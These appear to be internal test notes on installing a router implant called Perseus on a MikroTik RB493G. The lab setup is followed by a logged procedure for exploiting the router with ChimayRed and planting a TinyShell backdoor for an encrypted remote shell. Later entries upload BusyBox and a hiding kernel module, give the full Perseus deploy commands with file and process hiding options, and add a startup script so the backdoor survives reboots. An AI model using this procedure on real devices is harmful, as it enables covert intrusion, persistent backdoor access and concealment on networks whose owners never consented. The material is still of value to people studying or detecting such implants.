Perseus 1.1.0b1 Mikrotik RB493G - Test Notes
Perseus 1.1.0 Beta 1
MikroTik RB493G
General Info
WAN (from TR-Core) 172.20.100.4/30
TR-CoreSwx: 172.20.100.5 Perseus: 172.20.100.6
TR-Core Switch Route: 192.168.88.0/27 -> 172.20.100.6 (This gives the Perseus LANLocal Area Network 30 host IPs)
ICON-CR: 172.20.12.23/24
LAN Hosts:
192.168.88.2 Perseus Test1 -1.1.0b1 - UbuntuDesktop 14.10 x64
192.168.88.3 Windows 7 VM
4/3/2015
- Changed RB493G ether1 IP to 172.20.100.6/30.
- Changed RB493G ether2 IP to 192.168.88.1/24.
- Default IP: 192.168.88.1/24
- Figure out how to run ChimayRed and TinyShell (TshPatcher).
4/8/2015
- Unable to connect RB493G to Console server. Checked MT website and confirmed settings, but no luck.
- Downloaded and upgraded MT f/w to v6.27
- Move Windows VMVirtual Machine to VLAN-602 (Perseus Internal).
- Use Winbox to upload new f/w. Copy "routeros-mipsbe-6.27.npk" using the Files List window.
- Select System -> Reboot. Once rebooted, the new version number (6.27) will be seen in the Winbox Title.
4/9/2015
Setup TR-Core route to 192.168.88.0/27
ip route 192.168.88.0 255.255.255.224 172.20.100.6 name Perseus-MT_RB493G
- Add default route (0.0.0.0/0 via 172.20.100.5) for MT (IP -> Routes):
- Setup ACLAccess Control List (on TR-Core) to restrict VLANVirtual Local Area Network access (see Access List Configuration section below for settings).
- Configure NATNetwork Address Translation on RS493G using the following rule (IP -> Firewall -> NATNetwork Address Translation):
Delete 'Serial0' port under System -> Console.- Setup NTPNetwork Time Protocol client (System -> SNTP Client):
- Apply ACLs to VLAN601 (Perseus WANWide Area Network)
4/10/2015
- Worked with Bingham to throw ChimayRed and TinyShell on MT RB-493G.
- Here is the order exploits/tools are used operationally:
- Package TinyShell with port, key, architecture, and shell (optional)
- Use ChimayRed to upload exploit (TinyShell) to MT. Requires access to port 8291 and 80.
- Connect to TinyShell. You are now in an encrypted session between ICON and the MT.
- Upload BusyBox and/or Perseus.
- For more specific details refer to the step-by-step guide Chimay Red, TinyShell, and BusyBox Quick Start Guide .

| 5 | complete | User #14587667 Review ICON script/notes to flush out instructions above |
4/13/2015
- Reset MT and exploited again using ChimayRed and TinyShell.
- Copied BusyBox binary from OSN to Devlan. Confirmed with Bingham that this is the current version that COG/NOD is using (mips-be version)
- Uploaded BusyBox (COGComputer Operations Group version) to MT using TinyShell.

User #14587667 Finding: I had a TS connection opened and it was sitting idle for a while (maybe about 45 min). When I came back to remote shell, it was hung. Ctrl-C, Ctrl-Z, did not work. Nothing appears when I type.

User #14587667 Bug??: After running ./start, I touched a file named /flash/boot/hi.txt and it was not hidden. After re-deploying P it was hidden

User #14587667 Bug??: Did timestamp of /flash/boot change when Perseus installed?   |

- Talked with User #73719 on the phone. Secure delete is kicking and deleting the files Perseus should be hiding. User #73719 needs to research this some more and will get back in touch with me tomorrow.
4/16/2015
- User #73720 requested configuration and log files of the Perseus installation and execution. 2015-04-16_063833-Perseus-Install_Log.log
- User #73719 and User #73720 came over to DD2 and User #73719 worked with me to troubleshoot the MT. It turns out that the kernel had been deleted by secure delete. User #73719 and User #73720 took the MT back with them to TP to perform further analysis.
4/27/2015
- Re-configured MT with WAN, LAN, NATNetwork Address Translation settings. Device had been bricked and was reset by TP.

User #14587667 Is this a CR bug?? If so, does it need to be reported? Error when throwing CR

User #14587667 Shouldn't this be hidden.   It was built with this command "python perseus_1.1.0.0b1_routeros6_mips.zip -f /flash/boot/hidden -f /flash/etc/rc.d/run.d/S99mcc -f /tmp/tshd-mipsbe -d /flash/boot/hidden -d /tmp/tshd-mipsbe -S /flash/boot/hidden/start -s 1 -m /flash/boot/hidden/mcc.ko -r /tmp/dont_panic deploy"Resolution: I spoke with User #73719 and Perseus hides the absolute path. In this case /tmp is a symlink to /rw/tmp and /rw/tmp is a symlink to /flash/rw/tmp. So /tmp is a symlink to /flash/rw/tmp. The full path needed to hide /tmp/tshd-mipsbe is actually /flash/rw/tmp/tsh-mipsbe. |
4/28/2015
- Spoke with User #73719 to troubleshoot why /tmp/tshd-mipsbe is not hidden when running "ps ax" (Notes under 4/27/2015).
- Refer to "2015-04-28_110134-Perseus-ICON_window1 TS process not hidden w new command" for logs.

User #14587667 Determine how to make TS startup after reboot. User #73719 suggested placing a startup script in /flash/etc/rc.d/run.d/S99tsh which will launch TS. Also need to upload TS to /flash/boot/hidden (/tmp is not persistent). |
4/29/2015
- Created startup script to make tsh persistent (/flash/etc/rc.d/run.d/S99tsh).
- Although tsh is not hidden when run from /tmp/tshd-mipsbe, it is hidden when it is run from /flash/boot/hidden/tshd-mipsbe (after reboot).
- Current parameters used to generate perseus:
python perseus_1.1.0.0b1_routeros6_mips.zip -f /flash/boot/hidden -f /flash/etc/rc.d/run.d/S99mcc -f /flash/etc/rc.d/run.d/S99tsh -d /flash/boot/hidden -p /flash/rw/tmp/tshd-mipsbe -S /flash/boot/hidden/start -s 1 -m /flash/boot/hidden/mcc.ko -r /flash/boot/hidden/dont_panic deploy

| 27 | complete | User #14587667 When a process is started and then the originating binary is deleted (the process is still running), Perseus does not hide it.   |

Notes
- Perseus only deletes files/directories that are specified to be hidden.
- If secure delete is not used, but mcc is revereted manually (using /tmp/busybox rmmod mcc) ...
- To hide an executable, the absolute path to the binary must be specified using the -p option. The MT uses many symlinks (ie. /tmp is a symlink for /flash/rw/tmp), so be sure to determine the absolute path. You can use the "readlink -f <path>" command to show the absolute path.
